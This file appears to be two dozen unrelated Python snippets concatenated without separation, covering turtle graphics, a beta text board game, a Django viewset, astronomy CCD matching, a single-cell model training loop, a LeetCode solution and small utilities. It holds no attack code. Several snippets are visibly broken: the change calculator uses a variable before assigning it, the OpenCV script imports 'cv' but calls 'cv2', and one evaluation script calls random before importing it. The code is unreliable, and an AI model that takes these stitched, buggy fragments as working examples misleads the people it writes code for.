andy = Turtle()     #create new object andy from class turtle
bill = Turtle()     #create new object bill from class turtle

colormode(1.0)
speed(0)

def drawCircle(t,repetition,length,turn):
    for i in range(repetition):
        t.forward(length)
        t.right(turn)

andy.pencolor("red")
drawCircle(andy,50,150,65)

bill.pencolor("blue")
drawCircle(bill,20,100,85)

done()


# UBG is untitled board game, also UBG is in its beta stage meaning that its broken. It still kinda works.

import console
import Dice
import random
import timeit

global index
global rollTotal

a = 0
b = 0
c = 0
d = 0
e = 0
square = 0
squarenum = 0

allspaceslist = ["Normal","Go up 2","Go back to start >:)","Go back 3"]
goodspaceslist = ["Go up 2", "Go up 2","Go up 2"]
badspaceslist = ["Go back 3","Go back 3","Go back to start >:)","Go back 3","Go back 3","Go back 3","Go back 3","Go back 3","Go back 3"]

removedcount = 0
board = {}
cn = []
boardItems = []
boardValues = []
index = -1

spaces = 20
powerupspaces = 5
badspaces = 5

console.set_font("<System>",40)
print("Welcome To Untitled Board Game!")

wtd = input("Play or Settings (type P or S YOU MUST USE CAPS)")

def GenerateBoard(spaces,powerupspaces,badspaces):
	global index
	global cn
	global removedcount
	global board
	print("Generating bad spaces...")
	for a in range(badspaces):
		boardItems.append(random.choices(badspaceslist))
		boardValues.append(random.randint(1,spaces))
		index += 1
		for b in boardValues:
			if c in cn:
				boardValues.remove(c)
				boardItems.remove(boardItems[index])
				removedcount += 1
		for d in range(removedcount):
			boardItems.append(random.choices(badspaceslist))
			boardValues.append(random.randint(1,spaces))
			if e in cn:
				boardValues.remove(e)
				boardItems.remove(boardItems[index])
				removedcount += 1
		cn.append(b)
	console.clear()
	print("Generating good spaces...")
	for a in range(powerupspaces):
		boardItems.append(random.choices(goodspaceslist))
		boardValues.append(random.randint(1,spaces))
		index += 1
		for b in boardValues:
			if c in cn:
				boardValues.remove(c)
				boardItems.remove(boardItems[index])
				removedcount += 1
		for d in range(removedcount):
			boardItems.append(random.choices(goodspaceslist))
			boardValues.append(random.randint(1,spaces))
			if e in cn:
				boardValues.remove(e)
				boardItems.remove(boardItems[index])
				removedcount += 1
		cn.append(b)
		console.clear()
		print("Almost done...")
		board = dict(zip(boardValues,boardItems))
		print(f"Generation complete! Heres the board! {board} (Spaces with no value are normal spaces) Press anything to play with that board")
		print()

def Playgame():
	global squarenum
	global square
	global rollTotal
	GenerateBoard(spaces,powerupspaces,badspaces)
	starttime = timeit.default_timer()
	print("Alright heres how to play 1. Roll your dice. You really just have to press enter.")
	input()
	Dice.roll(1,6)
	rollTotal = Dice.rollTotal
	print(rollTotal,end=' ')
	print("<--- That is your roll total, you will move that much when you press enter.")
	input()
	squarenum += rollTotal
	if int(squarenum) in board:
		square = board.get(squarenum)
	else:
		square = "Normal"
	print(square,end=" ")
	print("<--- Thats the square you landed on. Some do special things!")
	if square == "Normal":
		print("",end="")
	elif square == "Go up 2":
		squarenum += 2
	elif square == "Go back 3":
		squarenum -= 3
	elif square == "Go back to start >:)":
		squarenum = 0

	print("Thats all there really is to it! It just loops until you get to the end.")
	while not squarenum >= spaces:
		print("Roll (Press enter)")
		input()
		Dice.roll()
		rollTotal = Dice.rollTotal
		print(rollTotal,end=' ')
		input()
		squarenum += rollTotal
		if int(squarenum) in board:
			square = board.get(squarenum)
		else:
			square = "Normal"
		print(square)
		if square == "Normal":
			print()
		elif square == "Go up 2":
			squarenum += 2
		elif square == "Go back 3":
			squarenum -= 3
		elif square == "Go back to start >:)":
			squarenum = 0
	endtime = timeit.default_timer()
	time = round(endtime - starttime,1)
	print(f"You finished! It took you {time}!")

def Settings():
	global spaces
	global powerupspaces
	global badspaces
	spaces = input(f"How many spaces? Current: {spaces}")
	powerupspaces = input(f"How many spaces have powerups? Current: {powerupspaces}")
	badspaces = input(f"How many spaces are bad? Current: {badspaces}")

while wtd != "P":
	if wtd != "S":
		print("Invalid key \"",wtd,"\"",sep="")
		input("P or S")
	else:
		if wtd == "P":
			Playgame()
		else:
			Settings()
			input("P or S")
else:
	if wtd == "P":
		Playgame()
	else:
		Settings()
		input("P or S")


'''Desenvolva um programa que leia seis números inteiros e mostre a soma
apenas daqueles que forem pares. Se o valor digitado for impar desconsidere-o.'''
s = 0
cont = 0
for c in range(1, 7):
    num = int(input('Digite um número: '))
    if num % 2 == 0:
        s = s + num
        cont += 1
print('Total da soma dos números pares: {}'.format(s))


#!/bin/python
#coding: utf-8
# +-------------------------------------------------------------------
# | system: django-vue-lyadmin
# +-------------------------------------------------------------------
# | Author: lybbn
# +-------------------------------------------------------------------
# | QQ: 1042594286
# +-------------------------------------------------------------------

# ------------------------------
# django_celery_beat IntervalSchedule view
# ------------------------------

from django_celery_beat.models import IntervalSchedule

from utils.serializers import CustomModelSerializer
from utils.viewset import CustomModelViewSet

class IntervalScheduleSerializer(CustomModelSerializer):

    class Meta:
        model = IntervalSchedule
        read_only_fields = ["id"]
        fields = '__all__'

class IntervalScheduleModelViewSet(CustomModelViewSet):
    """
    以特定（固定间隔）时间间隔（例如每 5 秒）运行的计划(每 /月/日/时/分/秒/微秒)
    DAYS = 'days'
    HOURS = 'hours'
    MINUTES = 'minutes'
    SECONDS = 'seconds'
    MICROSECONDS = 'microseconds'
    """
    queryset = IntervalSchedule.objects.all()
    serializer_class = IntervalScheduleSerializer


import pickle
from tqdm import tqdm

with open('../data/moban_dic.pk','rb') as f:
    moban_dic = pickle.load(f)

with open('../data/gen_test_with_bert.pk','rb') as f:
    test_dataset = pickle.load(f)

def find_similary_key_subset(x):
    xx = x.split('.')
    most_key = 0
    ans = "无"
    for k in moban_dic.keys():
        aa = k.split('.')  # subset
        flag = 0
        for j in aa:
            if j not in xx:
                flag = 1
        if flag == 0:
            if len(aa) > most_key:
                most_key = len(aa)
                ans = k
    return ans

def find_similary_key(x):
    xx = x.split('.')
    most_key = 0
    ans = "无"
    jj = [i for i in moban_dic.keys()]
    random.shuffle(jj)
    for k in jj:
        aa = k.split('.')  # subset
        flag = 0
        for j in xx:
            if j not in aa:
                flag = 1
        if flag == 0 and len(aa) > most_key:
            most_key = len(aa)
            ans = k
    return ans

import random
from CY_DataReadandMetric import *
num = 0
kdm = KD_Metric()
bleu1 = NLTK_BLEU()
bleu4 = NLTK_BLEU(ngram_weights=(0, 0, 0, 1))
dist1 = Distinct1()
dist2 = Distinct2()

with open('../data/160_last_topic2num.pk', 'rb') as f:
    topic2idx = pickle.load(f)

moban_ans = []
for dic in tqdm(test_dataset):
    bert_pre = dic['bert_word']
    key = '无'
    if len(bert_pre) > 0:
        xx = sorted(bert_pre)
        x = '.'.join(xx)
        if x not in moban_dic.keys():
            num += 1
            x = find_similary_key(x)
        key = x
    # gen = random.choice(list(moban_dic[key]))
    gen = random.choice(list(moban_dic[key]))
    # gen = dic['response']
    kdm([dic['response']], [gen])
    bleu1([dic['response']], [gen])
    bleu4([dic['response']], [gen])
    dist1([gen])
    dist2([gen])
    moban_ans.append(gen)
ans = {}
ans.update(kdm.get_metric(reset=False))
ans.update({"bleu1": bleu1.get_metric(reset=False)})
ans.update({"bleu4": bleu4.get_metric(reset=False)})
ans.update({"dist1": dist1.get_metric(reset=False)})
ans.update({"dist2": dist2.get_metric(reset=False)})
with open('moban_result.pk','wb') as f:
    pickle.dump(ans, f)
with open('moban_ans.pk','wb') as f:
    pickle.dump(moban_ans, f)
print(ans)

# len(moban_ans)


import numpy as np
import astropy.io.fits as pf
import matplotlib.pyplot as plt
from bsub import bsub
import urllib as url
import math as math
from usno import usno
from cmath import cos, sin, phase
from math import radians, degrees
from FindStars import LocateMainPeakRanges

def GetCCDxyFromUSNOFits(filename):
    s1 = pf.open(filename)
    # Read position from the FITS file and convert RA/DEC to degrees
    # be sure to check that the header data is reliable. If not
    # edit the position by hand.
    ras = s1[0].header['ra']
    des = s1[0].header['dec']
    radeg = 15*(float(ras[0:2]) + float(ras[3:5])/60. + float(ras[6:])/3600.)
    dsgn = np.sign(float(des[0:2]))
    dedeg = float(des[0:2]) + dsgn*float(des[4:5])/60. + dsgn*float(des[7:])/3600.
    fovam = 3.0 # size of square search field in arc min
    epoch = s1[0].header['equinoxu']
    name,rad,ded,rmag = usno(radeg,dedeg,fovam,epoch)
    print(rad)

    plt.figure(1)
    w = np.where(rmag <28)[0]

    '''
    plt.plot(rad[w],ded[w],'g.')
    plt.locator_params(axis='x',nbins=4)
    plt.locator_params(axis='y',nbins=4)
    plt.tick_params('x',pad=10)
    plt.xlabel('RA [Deg]')
    plt.ylabel('Dec [Deg]')
    plt.ticklabel_format(useOffset=False)
    plt.axis('scaled')
    plt.xlim([106.0,105.0]) # reverse the x-axis direction
    '''

    rar0 = radians((np.amax(rad[w])+np.amin(rad[w]))/2) #RA0 in radian
    der0 = radians((np.amax(ded[w])+np.amin(ded[w]))/2) #Declination0 in radian

    rar = []
    der = []
    X = []
    Y = []
    X1 = []
    Y1 = []
    x=[]
    y=[]
    xRotated=[]
    yRotated=[]
    for i in w:
        rar.append(radians(rad[i])) #RA in radian
        der.append(radians(ded[i])) #Declination in radian

    j = 0
    while (j < len(rar)):
        X.append(-((cos(der[j])*sin(rar[j]-rar0))/(cos(der0)*cos(der[j])*cos(rar[j]-rar0)+sin(der[j])*sin(der0))))
        Y.append(-((sin(der0)*cos(der[j])*cos(rar[j]-rar0)-cos(der0)*sin(der[j]))/(cos(der0)*cos(der[j])*cos(rar[j]-rar0)+sin(der[j])*sin(der0))))
        j+=1

    k = 0
    while (k < len(X)):
        x.append(16.84*(X[k]/0.000030)+514) # x.append(16.84*(X[k]/0.000030)+514)
        y.append(16.84*(Y[k]/0.000030)+438) # y.append(16.84*(Y[k]/0.000030)+438)
        k+=1

    m=0
    thetaDegrees= 15 #5
    thetaRadians=radians(thetaDegrees)
    print(cos(thetaRadians).real)

    while (m < len(x)):
        xRotated.append((x[m]*(cos(thetaRadians)) - y[m]*(sin(thetaRadians))).real)
        yRotated.append(((x[m]*(sin(thetaRadians)) + y[m]*(cos(thetaRadians)))).real)
        m+=1

    n=0
    while (n < len(X)):
        X1.append(X[n].real)
        Y1.append(Y[n].real)
        n+=1

    return xRotated, yRotated, X1, Y1

print('Asteroids do not concern me, Admiral. - Darth Vader')

filename = 'data-2017-03-02-nickel-Shelley.Wright/d1060.fits'

x = pf.getdata(filename)
hdr = pf.getheader(filename)
xb = bsub(x,hdr.get('cover'))

flat = pf.getdata(filename)
fhdr = pf.getheader(filename)
flatb = bsub(flat,hdr.get('cover')) # Bias subtract
flatb = flatb/np.median(flatb) # normalize

starRows, starCols = LocateMainPeakRanges(flatb, 10., 10.0, 25, 25)

print("starRows : " + str(starRows))
print("starCols : " + str(starCols))

fits1 = 'data-2017-03-02-nickel-Shelley.Wright/d1060.fits'

xRotated, yRotated, XCyl, YCyl = GetCCDxyFromUSNOFits(fits1)

print(xRotated)
print(yRotated)

rotatedXY = []
for i in range(len(xRotated)):
    rotatedXY.append([xRotated[i], yRotated[i]])

starXY = []
for i in range(len(starRows)):
    starXY.append([starRows[i], starCols[i]])

print("rotatedXY: " + str(rotatedXY))
print("starXY: " + str(starXY))

starNMinDistance = []
tempCombinedDiff = []
for star in starXY:
    tempCombinedDiff[:] = [] #clears list
    for usnoStar in rotatedXY:
        tempCombinedDiff.append(math.sqrt(((star[1] - usnoStar[1])**2)+((star[0] - usnoStar[0])**2)))
    starNMinDistance.append([star[0], star[1], min(tempCombinedDiff)])
    #starYNMinDistance.append([star[1], min(tempCombinedDiff)])

print("starXNMinDistance: " + str(starNMinDistance))

'''
#plt.subplot(212)
#plt.plot(xRotated, yRotated, 'b.')
plt.xlabel('x [Pixel]')
plt.ylabel('y [Pixel]')
plt.title("Centroid Generated Image")
plt.xlim((0,1024))
plt.ylim((0,1024))
plt.show()

XPlottingOnXAxis = [i[0] for i in starNMinDistance]
XplottingOnYAxis = [i[2] for i in starNMinDistance]

yPlottingOnXAxis = [i[1] for i in starNMinDistance]
yPlottingOnYAxis = [i[2] for i in starNMinDistance]

X_Differences, = plt.plot(XPlottingOnXAxis, XplottingOnYAxis, "g^", label = 'x')
Y_Differences, = plt.plot(yPlottingOnXAxis, yPlottingOnYAxis, "r^", label = 'y')
#plt.legend(bbox_to_anchor=(1.05, 1), loc = 2, borderaxespad=0.)
plt.legend(handles=[X_Differences, Y_Differences])
plt.xlim((0,1000))
plt.ylim((0,200))
plt.title("Pixel Offset Distance")
plt.xlabel("x or y [pixel]")
plt.ylabel("Pixel Offset Distance [pixel]")
plt.show()
'''


# activate virtual environment

import os
import numpy as np
import pandas as pd
import time

os.chdir('/scratch/global/maren/multiomics-data/scMVP/')

from dataset import LoadData,GeneExpressionDataset, CellMeasurement
from models import VAE_Attention, Multi_VAE_Attention, VAE_Peak_SelfAttention
from inference import UnsupervisedTrainer
# in multi_inference.py: error because of deprecated version of scikit-learn.
# To get rid of the issue, change line "from sklearn.utils.linear_assignment_ import linear_assignment" in original code to the following:
# from scipy.optimize import linear_sum_assignment as linear_assignment
# see here: https://stackoverflow.com/questions/62390517/no-module-named-sklearn-utils-linear-assignment
from inference import MultiPosterior, MultiTrainer
from scMVP_anndata_dataloader import LoadFromAnnData
import torch

import scanpy as sc
import anndata

import scipy.io as sp_io
from scipy.sparse import csr_matrix, issparse

torch.set_num_threads(40) # do not use all CPU threads

data_path_rna='/scratch/global/treppner/multi_omics_data/neurips_data/subsampled'
data_path_atac='/scratch/global/maren/multiomics-data/neurips_data_atac_top_peaks'

n_cells = [500, 1000, 2500, 5000, 10000]

import random

for i in range(10):
    print('rep %s...'%i)
    for j in n_cells:
        print('%s cells...'%j)
        # 1) set seeds
        torch.manual_seed(i*j)
        random.seed(i*j)
        np.random.seed(i*j)
        # 2) set paths
        output_path=os.getcwd() + '/output'
        if os.path.isfile('{}/csv/latent_subsample_{}_cells_rep_{}.csv'.format(output_path, j, i)):
            continue
        # 3) load subsampled data
        print('loading data...')
        load_rna_filename = data_path_rna + '/adata_gex_subsample_%s_cells_rep_%s.h5ad'%(j,i)
        load_atac_filename = data_path_atac + '/adata_atac_subsample_top_peaks_%s_cells_rep_%s.h5ad'%(j,i)
        rnadata = anndata.read_h5ad(load_rna_filename)
        atacdata = anndata.read_h5ad(load_atac_filename)
        # 4) set timers
        cputime_begin = time.process_time()
        clocktime_begin = time.time()
        # 5) prepare data
        dataset = LoadFromAnnData(rnadata=rnadata, atacdata=atacdata, atac_threshold=0.001, cell_threshold=1)
        # 6) set training hyperparameters
        n_epochs = 30
        if j < 5000:
            lr = 5e-4
        else:
            lr = 5e-4#3
        use_batches = False
        use_cuda = False # False if using CPU
        n_centroids = 10
        n_alfa = 1.0
        # 7) define model
        multi_vae = Multi_VAE_Attention(dataset.nb_genes, len(dataset.atac_names), n_batch=0, n_latent=10, n_centroids=n_centroids, n_alfa = n_alfa, mode="mm-vae") # should provide ATAC num, alfa, mode and loss type
        trainer = MultiTrainer(
            multi_vae,
            dataset,
            train_size=1.0,
            use_cuda=use_cuda,
            frequency=5,
        )
        # 8) define model
        trainer.train(n_epochs=n_epochs, lr=lr)
        # 9) extract and save latent representations
        full = trainer.create_posterior(trainer.model, dataset, indices=np.arange(len(dataset)),type_class=MultiPosterior)
        latent, latent_rna, latent_atac, cluster_gamma, cluster_index, batch_indices, labels = full.sequential().get_latent()
        latent_df = pd.DataFrame(latent)
        # 10) re-order cells so that they match the barcodes
        reordered_inds = np.array([np.argwhere(el==np.array(dataset.barcodes))[0,0] for el in rnadata.obs_names])
        latent_df = latent_df.loc[reordered_inds,:]
        assert((dataset.barcodes[reordered_inds] == rnadata.obs_names).sum() == j)
        latent_df.index = rnadata.obs_names
        latent_rna_df = pd.DataFrame(latent_rna)
        latent_atac_df = pd.DataFrame(latent_atac)
        latent_rna_df.index = rnadata.obs_names
        latent_atac_df.index = rnadata.obs_names
        # 11) get timings
        cputime_end = time.process_time()
        clocktime_end = time.time()
        cputime_elapsed = cputime_end - cputime_begin
        clocktime_elapsed = clocktime_end - clocktime_begin
        # 12) save latents
        latent_df.to_csv('{}/csv/latent_subsample_{}_cells_rep_{}.csv'.format(output_path, j, i))
        latent_rna_df.to_csv('{}/rna/latent_rna_{}_cells_rep_{}.csv'.format(output_path, j, i))
        latent_atac_df.to_csv('{}/atac/latent_atac_{}_cells_rep_{}.csv'.format(output_path, j, i))
        # 13) save timings
        with open('{}/timings/timings_{}_cells_rep_{}.txt'.format(output_path, j, i), 'w') as f:
            f.write('clocktime: %s \n'%(clocktime_elapsed))
            f.write('cputime: %s \n'%(cputime_elapsed))
        f.close()
#


print("CHANGE CALCULATOR")

quarter = 25
dime = 10
nickel = 5
penny = 1

moneygiven = int(input('Enter how much money you were given'))
citem = int(input('How much was the cost'))
moneygiven = int(float(moneygiven)*100)
citem = int(float(citem)*100)
moneyback = moneygiven - citem

qmb = moneyback/quarter
partialtotal = moneyback - qmb * quarter
dmb = partialtotal // dime
dpartialtotal = partialtotal - dmb * dime
nmb = dpartialtotal // nickel
npartialtotal = dpartialtotal - nmb * nickel
pmb = npartialtotal // pmb
ppartialtotal = npartialtotal - pmb * penny

print('You need %s quarters, %s dimes, %s nickels, %s pennies ' %(qmb,dmb,nmb,pmb))


import json
import os
import tempfile
import portalocker

DEFAULT_DB_FILE = os.path.join(tempfile.gettempdir(), "cli-db.json")

class CliDb:
    def __init__(self, db_file=DEFAULT_DB_FILE):
        self._db_file = db_file

    @property
    def db_lock(self):
        return portalocker.Lock(self._db_file + ".lock", timeout=0.5)

    def _write_db(self, db):
        tmp_fd, tmp_name = tempfile.mkstemp()
        with open(tmp_name, "w") as tmp_db_fp:
            json.dump(db, fp=tmp_db_fp, indent=4)
        os.rename(tmp_name, self._db_file)

    def _no_db_file(self):
        return not os.path.isfile(self._db_file)

    def set(self, key, value):
        with self.db_lock:
            if self._no_db_file():
                with open(self._db_file, "w") as db_fp:
                    json.dump({}, fp=db_fp, indent=4)

            with open(self._db_file, "r+") as db_fp:
                db = json.load(fp=db_fp)
                db[key] = value

            self._write_db(db)

    def get(self, key):
        with self.db_lock:
            if self._no_db_file():
                return None

            with open(self._db_file, "r+") as db_fp:
                db = json.load(fp=db_fp)
                value = db.get(key)
                return value

    def delete(self, key):
        with self.db_lock:
            if self._no_db_file():
                return None

            with open(self._db_file, "r+") as db_fp:
                db = json.load(fp=db_fp)
                if db.get(key):
                    del db[key]

            self._write_db(db)


import os
import datetime
import sys
import logging

from flask import Flask, render_template
from logging.config import dictConfig
from werkzeug.middleware.dispatcher import DispatcherMiddleware
from prometheus_client import make_wsgi_app, Summary, Counter

dictConfig({
    'version': 1,
    'formatters': {'default': {
        'format': '[%(asctime)s] %(levelname)s in %(module)s: %(message)s',
    }},
    'handlers': {'wsgi': {
        'class': 'logging.StreamHandler',
        'stream': 'ext://sys.stdout',
        'formatter': 'default'
    }},
    'root': {
        'level': 'INFO',
        'handlers': ['wsgi']
    }
})

c = Counter('my_failures', 'Description of counter')
app = Flask(__name__)

@app.route('/')
def index():
    app.logger.info('Request at %s ', datetime.datetime.now())
    return render_template('index.html')

app.wsgi_app = DispatcherMiddleware(app.wsgi_app, {
    '/metrics': make_wsgi_app()
})

if __name__ == "__main__":
    app.run(debug=True,host='0.0.0.0',port=int(os.environ.get('PORT', 8080)))


class UF:
    def __init__(self, n):
        self.count = n
        self.arr = [i for i in range(n)]

    def find(self, a):
        if a != self.arr[a]:
            self.arr[a] = self.find(self.arr[a])
        return self.arr[a]

    def union(self, a, b):
        if self.find(a) != self.find(b):
            self.arr[self.find(a)] = self.find(b)
            self.count -= 1
            return True
        return False

    def united(self):
        return self.count == 1

class Solution:
    def maxNumEdgesToRemove(self, n: int, edges: List[List[int]]) -> int:
        edges.sort(key=lambda x: x[0], reverse=True)
        A = UF(n)
        B = UF(n)
        res = 0
        for edge in edges:
            if edge[0] == 3:
                # alice and bob
                a = A.union(edge[1] - 1, edge[2] - 1)
                b = B.union(edge[1] - 1, edge[2] - 1)
                if not a and not b:
                    res += 1
            elif edge[0] == 2:
                # bob
                if not B.union(edge[1] - 1, edge[2] - 1):
                    res += 1
            else:
                # alice
                if not A.union(edge[1] - 1, edge[2] - 1):
                    res += 1
        return res if B.united() and A.united() else -1

LeetCode/Python3/Hard/1579. Remove Max Number of Edges to Keep Graph Fully Traversable/1579-remove-max-number-of-edges-to-keep-graph-fully-traversable.py


import numpy as np
import cv

cap1 = cv2.VideoCapture(1)
cap1.set(3, 1000)
cap1.set(4, 1000)

while(True):
    ret1, frame1 = cap1.read()
    cv2.imshow('frame1', frame1)

# When everything done, release the capture
cap1.release()

cv2.destroyAllWindows()


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Tue Mar  9 17:42:11 2021

@author: jcasasr
"""
import networkx as nx
import numpy as np
import sys
from multilayer.GraphMultiLayer import plot_ml_matrix
import multilayer.Metrics as Metrics
import multilayer.Functions as Functions

def get_metric_values(fs, em, clinic, METRIC=None):
    num_subjs = em.shape[0]
    num_nodes = 76
    file_metric = fs.get_metrics_folder() + METRIC +"-values.csv"

    # check if metric is computed and stored previously
    if fs.file_exists(file_metric):
        fs.info("Metric '{}' was previously computed and stored... ".format(METRIC))
        return None
    else:
        fs.info("Computing values for metric '{}'...".format(METRIC))

    values = np.zeros((num_subjs, num_nodes), dtype=float)

    for i in range(num_subjs):
        fs.debug("Processing subject {}...".format(i))

        # get data
        A = em[i,:,:]
        bool_reshape = True

        # compute the specific metric
        try:
            if METRIC=='Degree':
                temp = np.count_nonzero(A > 0, axis=0)

            elif METRIC=='Strength':
                temp = np.sum(A, axis=0)

            elif METRIC=='LocalEfficiency':
                fs.info("Processing subject {}...".format(i))
                # Use 'distance'
                A_inv = Functions.create_distance_A_from_A(fs, A)

                # debug only
                #plot_ml_matrix(fs, A, i)

                # Compute A min
                A_min = Functions.compute_A_min(fs, A_inv)

                # create G
                G = Functions.create_graph_from_AM(fs, A_min)

                # compute LE as a single layer
                temp = Metrics.compute_LE_SL(fs, G)

                # Do not reshape
                bool_reshape = False

            elif METRIC=='ClosenessCentrality':
                fs.info("Processing subject {}...".format(i))
                # Use 'distance'
                A_inv = Functions.create_distance_A_from_A(fs, A)

                # debug only
                #plot_ml_matrix(fs, A, i)

                # Compute A min
                A_min = Functions.compute_A_min(fs, A_inv)

                # create G
                G = Functions.create_graph_from_AM(fs, A_min)

                # compute LE as a single layer
                temp = np.array(list(nx.closeness_centrality(G, distance='weight').values()))

                # Do not reshape
                bool_reshape = False

            elif METRIC=='BetweennessCentrality':
                fs.info("Processing subject {}...".format(i))
                # Use 'distance'
                A_inv = Functions.create_distance_A_from_A(fs, A)

                # debug only
                #plot_ml_matrix(fs, A, i)

                # Compute A min
                A_min = Functions.compute_A_min(fs, A_inv)

                # create G
                G = Functions.create_graph_from_AM(fs, A_min)

                # compute LE as a single layer
                temp = np.array(list(nx.betweenness_centrality(G, k=None, normalized=True, weight='weight').values()))

                # Do not reshape
                bool_reshape = False

            else:
                raise Exception("ERROR: Incorrect metric value! (METRIC is {})".format(METRIC))
        except Exception as e:
                fs.error(e)
                return None

        # Interlink
        # interlink: folding results to get 76 nodes (instead of 152)
        if bool_reshape:
            temp2 = temp.reshape((76,2), order='F')
            # sum values
            temp3 = np.sum(temp2, axis=1)
        else:
            temp3 = temp

        # store the results for each node
        values[i,:] = temp3

    # export
    np.savetxt(file_metric, values, delimiter=",", fmt='%1.8f')

    return(values)


# test_run_logging.py
from requests import request
import pytest
import json
import os
from thor.maestro.bash import BashJobManager

import os.path

def test_run_shell_logging():
    """
    Tests the BashJobManager's run_shell to ensure that it writes to the proper logfile.
    """

    bjm = BashJobManager("arbitrary")
    ogcwd = os.getcwd()
    print(os.getcwd())
    os.chdir("tests/test_files")
    bjm.run_shell("test_run_shell_script.sh")

    # Check baseline file to make sure that the shell script was run correctly.
    result_file_name = "expected_result_for_run_shell_logging.txt"
    result_absolute_path = os.path.join(os.getcwd(), result_file_name)
    with open(result_absolute_path, "r") as read_target_file:
        log_file_name = "logfile.txt"
        log_absolute_path = os.path.join(os.getcwd(), log_file_name)
        with open(log_absolute_path, "r") as read_log_file:
            assert read_target_file.read() == read_log_file.read()

    os.remove(log_absolute_path)
    os.chdir("../..")
    assert os.getcwd() == ogcwd


from typing import List, Any

from matplotlib.animation import FuncAnimation
from matplotlib.axes import Axes
from matplotlib.figure import Figure
from matplotlib.lines import Line2D

from villageswar.main import WorldUpdater
from villageswar.util import Barrier
from villageswar.village import Village
from villageswar.world import World

def get_jobs(village): ...

class PlotAnim(object):
    ...

    def __init__(self, titles: List[str], world_updater: WorldUpdater, barrier: Barrier):
        self.xlim = None  # type: int
        self.ylim = None  # type: int
        self.curr_xlim = None  # type: int
        self.curr_ylim = None  # type: int
        self.world_obj = None  # type: World
        self.world_updater = None  # type: WorldUpdater
        self.village_obj1 = None  # type: Village
        self.village_obj2 = None  # type: Village
        self.barrier = None  # type: Barrier
        self.titles = None  # type: List[str]
        self.animation = None  # type: FuncAnimation
        self.fig = None  # type: Figure

        self.pop_ax1 = None  # type: Axes
        self.pop_ax2 = None  # type: Axes
        self.pop_line1 = None  # type: Line2D
        self.pop_line2 = None  # type: Line2D
        self.pop_data_x = None  # type: (List[int], List[int])
        self.pop_data_y = None  # type: (List[int], List[int])

        self.job_ax1 = None  # type: Axes
        self.job_ax2 = None  # type: Axes
        self.job_line1_w = None  # type: Line2D
        self.job_line1_b = None  # type: Line2D
        self.job_line1_h = None  # type: Line2D
        self.job_line2_w = None  # type: Line2D
        self.job_line2_b = None  # type: Line2D
        self.job_line2_h = None  # type: Line2D
        self.job_data_x = None  # type: (List[(int, int, int)], List[(int, int, int)])
        self.job_data_y = None  # type: (List[(int, int, int)], List[(int, int, int)])

        self.dead_ax1 = None  # type: Axes
        self.dead_ax2 = None  # type: Axes
        self.dead_line1 = None  # type: Line2D
        self.dead_line2 = None  # type: Line2D
        self.dead_data_x = None  # type: (List[int], List[int])
        self.dead_data_y = None  # type: (List[int], List[int])

        self.all_lines = None  # type: List[Line2D]
        ...

    def init(self) -> List[Line2D]: ...

    def update_data(self): ...

    def update_limits(self): ...

    def animate(self, *unused: List[Any]) -> List[Line2D]: ...

    def start_animation(self): ...

    def handle_close(self, *unused): ...


import asyncio, pprint, traceback
from components import abstracts, pluginmanager, config

defaults = {"Administration": {"Admin": ""}}
cfg = config.load("discordplm", defaults)

class Plugin(abstracts.Plugin):

    def handlers(self):
        return [abstracts.Handler('DSC:COMMAND:?PLM', self, self.command)]

    def command(self, message=None, args=None, **kw):
        bot = pluginmanager.resources["DSC"]["BOT"]
        loop = pluginmanager.resources["DSC"]["LOOP"]
        if len(args)>0:
            if str(message.author.id)==cfg["Administration"]["Admin"]:
                if args[0]=='unload' and len(args)>1:
                    try:
                        pluginmanager.unloadPlugin(args[1])
                        asyncio.run_coroutine_threadsafe(bot.send_message(message.channel, ':thumbsup:'), loop)
                    except RuntimeError:
                        pass
                    else:
                        traceback.print_exc()
                        asyncio.run_coroutine_threadsafe(bot.send_message(message.channel, ':thumbsdown:'), loop)
                elif args[0]=='reload' and len(args)>1:
                    try:
                        pluginmanager.reloadPlugin(args[1])
                        asyncio.run_coroutine_threadsafe(bot.send_message(message.channel, ':thumbsup:'), loop)
                    except:
                        traceback.print_exc()
            else:
                asyncio.run_coroutine_threadsafe(bot.send_message(message.channel, 'You don\'t have permission for that.'), loop)
        else:
            asyncio.run_coroutine_threadsafe(bot.send_message(message.channel, pprint.pformat(pluginmanager.plugins.keys(), indent=2, width=40)), loop)


# AOC 2022 day 13
with open("day13/input.txt") as f:
    data = f.read().strip().split("\n\n")

packets = []
for ind, packet in enumerate(data):
    left_right = packet.split("\n")
    packets.append((ind, eval(left_right[0]), eval(left_right[1])))

def compare(l, r):
    if isinstance(l, int) and isinstance(r, list):
        l = [l]
    if isinstance(l, list) and isinstance(r, int):
        r = [r]

    if isinstance(l, int) and isinstance(r, int):
        if l < r:
            return 1
        if l == r:
            return 0
        return -1

    if isinstance(l, list) and isinstance(r, list):
        count = 0
        while count < len(l) and count < len(r):
            result = compare(l[count],r[count])

            if result == 1:
                return 1
            if result == -1:
                return -1

            count += 1

        if count == len(l):
            if len(l) == len(r):
                return 0
            return 1

        return -1

correct = 0

for pack in packets:
    l, r = pack[1], pack[2]
    if compare(l,r) == 1:
        correct += pack[0] + 1

print(f"The sum of correctly ordered packets is {correct}")


import cv2
import numpy as np
import glob

img_array = []
imgs = glob.glob('./results/explore*jpg')
imgs.sort()
for filename in imgs:
    img = cv2.imread(filename)
    height, width, layers = img.shape
    size = (width,height)
    img_array.append(img)

fps=60
path_img = cv2.imread('./results/final_path.jpg')
for i in range(fps*2):
    img_array.append(path_img)

out = cv2.VideoWriter('./A_star_diff_drive_test2.mkv',cv2.VideoWriter_fourcc(*'DIVX'), fps, size)

for i in range(len(img_array)):
    out.write(img_array[i])
out.release()


from pathlib import Path
from typing import Optional

from .const import MANIFESTS_PATH
from .git import Git

def find_manifest(path: Path) -> Optional[Path]:
    """
    Return Path to manifest if clone has been tagged before.

    The git clone at ``path`` can be checked out to a tag, branch or SHA.
    If the clone has been tagged by by :any:`GitWS` and this tag is currently checked out,
    this function will return the path to the related manifest.
    """
    if path.exists():
        git = Git(path=path)
        if not git.get_branch():
            tag = git.get_tag()
            if tag:
                manifest_path = MANIFESTS_PATH / f"{tag}.toml"
                if (path / manifest_path).exists():
                    return manifest_path
    return None


#------------------------------------------
# A kilograms to pounds conversion program
# Hugh Baldwin
# up2157117
# Autumn Teaching Block 2022
#------------------------------------------

kilos = float(input("Enter a weight in kilograms: "))
pounds = 2.2 * kilos
print("The weight in pounds is", pounds)


# Licensed with the MIT License, see LICENSE for details

import os
import requests
import numpy as np
import matplotlib.pyplot as plt
from astropy.table import Table
from astropy.io import fits
from astropy.coordinates import SkyCoord
import calviacat as cvc

